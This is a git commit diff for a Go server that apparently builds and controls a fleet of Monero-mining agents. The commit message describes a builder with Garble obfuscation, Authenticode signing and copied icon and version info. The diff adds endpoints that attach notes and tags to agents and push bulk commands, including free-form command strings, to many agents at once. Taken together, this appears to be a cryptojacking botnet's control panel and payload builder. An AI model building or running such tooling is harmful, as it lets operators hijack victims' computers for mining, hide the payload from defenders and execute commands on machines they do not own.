Add forge pipeline polish, simple forge UX, and fleet management upgrades.
Fusion copies prep icon and version info via go-winres; optional Garble obfuscation, Authenticode signing, and dry-run size estimates. Forge Simple mode with smart defaults; fleet roster gets compact expandable cards, filters, bulk commands, per-agent notes/tags, and typed WebSocket payloads.
This commit is contained in:
@@ -150,6 +150,84 @@ func (f *FleetHandler) PostAgentCommand(w http.ResponseWriter, r *http.Request)
|
||||
})
|
||||
}
|
||||
|
||||
type agentMetaRequest struct {
|
||||
Notes string `json:"notes"`
|
||||
Tags []string `json:"tags"`
|
||||
}
|
||||
|
||||
func (f *FleetHandler) PutAgentMeta(w http.ResponseWriter, r *http.Request) {
|
||||
id := chi.URLParam(r, "id")
|
||||
if id == "" {
|
||||
http.Error(w, "agent id is required", http.StatusBadRequest)
|
||||
return
|
||||
}
|
||||
var req agentMetaRequest
|
||||
if err := json.NewDecoder(r.Body).Decode(&req); err != nil {
|
||||
http.Error(w, "invalid body", http.StatusBadRequest)
|
||||
return
|
||||
}
|
||||
if _, err := f.db.GetAgent(id); err != nil {
|
||||
http.Error(w, "agent not found", http.StatusNotFound)
|
||||
return
|
||||
}
|
||||
if err := f.db.UpdateAgentMeta(id, req.Notes, req.Tags); err != nil {
|
||||
http.Error(w, err.Error(), http.StatusInternalServerError)
|
||||
return
|
||||
}
|
||||
agent, _ := f.db.GetAgent(id)
|
||||
writeJSON(w, map[string]interface{}{"success": true, "agent": agent})
|
||||
}
|
||||
|
||||
type bulkCommandRequest struct {
|
||||
AgentIDs []string `json:"agent_ids"`
|
||||
Action string `json:"action"`
|
||||
Command string `json:"command,omitempty"`
|
||||
}
|
||||
|
||||
func (f *FleetHandler) PostBulkCommand(w http.ResponseWriter, r *http.Request) {
|
||||
if f.ws == nil {
|
||||
http.Error(w, "websocket hub unavailable", http.StatusServiceUnavailable)
|
||||
return
|
||||
}
|
||||
var req bulkCommandRequest
|
||||
if err := json.NewDecoder(r.Body).Decode(&req); err != nil {
|
||||
http.Error(w, "invalid body", http.StatusBadRequest)
|
||||
return
|
||||
}
|
||||
if req.Action == "" {
|
||||
http.Error(w, "action is required", http.StatusBadRequest)
|
||||
return
|
||||
}
|
||||
if len(req.AgentIDs) == 0 {
|
||||
writeJSON(w, map[string]interface{}{
|
||||
"success": false,
|
||||
"error": "agent_ids is required",
|
||||
})
|
||||
return
|
||||
}
|
||||
|
||||
args := map[string]interface{}{}
|
||||
if req.Command != "" {
|
||||
args["command"] = req.Command
|
||||
}
|
||||
|
||||
sent := 0
|
||||
failed := 0
|
||||
for _, id := range req.AgentIDs {
|
||||
if err := f.ws.SendAgentCommand(id, req.Action, args); err != nil {
|
||||
failed++
|
||||
} else {
|
||||
sent++
|
||||
}
|
||||
}
|
||||
writeJSON(w, map[string]interface{}{
|
||||
"success": sent > 0,
|
||||
"sent": sent,
|
||||
"failed": failed,
|
||||
"action": req.Action,
|
||||
})
|
||||
}
|
||||
|
||||
// EstimateXMRPerDay uses approximate network hashrate (~3 GH/s) and daily emission (~432 XMR).
|
||||
func EstimateXMRPerDay(hashrate float64) map[string]interface{} {
|
||||
const networkHashrate = 3_000_000_000.0
|
||||
|
||||
@@ -126,6 +126,8 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
|
||||
if fleetHandler != nil {
|
||||
r.Post("/agents/{id}/command", fleetHandler.PostAgentCommand)
|
||||
r.Get("/agents/{id}/log", fleetHandler.GetAgentLog)
|
||||
r.Put("/agents/{id}/meta", fleetHandler.PutAgentMeta)
|
||||
r.Post("/agents/bulk-command", fleetHandler.PostBulkCommand)
|
||||
}
|
||||
|
||||
// Fleet ops
|
||||
@@ -150,6 +152,7 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
|
||||
|
||||
// Builder
|
||||
r.Post("/builder/build", builderHandler.ServeHTTP)
|
||||
r.Post("/builder/estimate", builderHandler.ServeEstimate)
|
||||
|
||||
// Blueprints (config presets)
|
||||
r.Get("/blueprints", blueprintHandler.ServeHTTP)
|
||||
|
||||
39
server/internal/api/ws_types.go
Normal file
39
server/internal/api/ws_types.go
Normal file
@@ -0,0 +1,39 @@
|
||||
package api
|
||||
|
||||
// Dashboard WebSocket payload types (keep in sync with server/web/src/types/ws.ts).
|
||||
|
||||
type WSDashboardInit struct {
|
||||
Agents []interface{} `json:"agents"`
|
||||
}
|
||||
|
||||
type WSAgentOffline struct {
|
||||
AgentID string `json:"agent_id"`
|
||||
}
|
||||
|
||||
type WSStatsUpdate struct {
|
||||
AgentID string `json:"agent_id"`
|
||||
Hashrate15s float64 `json:"hashrate_15s"`
|
||||
Hashrate1m float64 `json:"hashrate_1m"`
|
||||
Hashrate15m float64 `json:"hashrate_15m"`
|
||||
CPUUsagePct float64 `json:"cpu_usage_pct"`
|
||||
MemoryUsagePct float64 `json:"memory_usage_pct,omitempty"`
|
||||
UptimeSeconds int `json:"uptime_seconds,omitempty"`
|
||||
SharesSubmitted int `json:"shares_submitted,omitempty"`
|
||||
SharesAccepted int `json:"shares_accepted,omitempty"`
|
||||
}
|
||||
|
||||
type WSCommandResult struct {
|
||||
AgentID string `json:"agent_id"`
|
||||
Action string `json:"action"`
|
||||
Success bool `json:"success"`
|
||||
Message string `json:"message,omitempty"`
|
||||
}
|
||||
|
||||
type WSAgentLog struct {
|
||||
AgentID string `json:"agent_id"`
|
||||
Content string `json:"content"`
|
||||
}
|
||||
|
||||
type WSServerLog struct {
|
||||
Line string `json:"line"`
|
||||
}
|
||||
Reference in New Issue
Block a user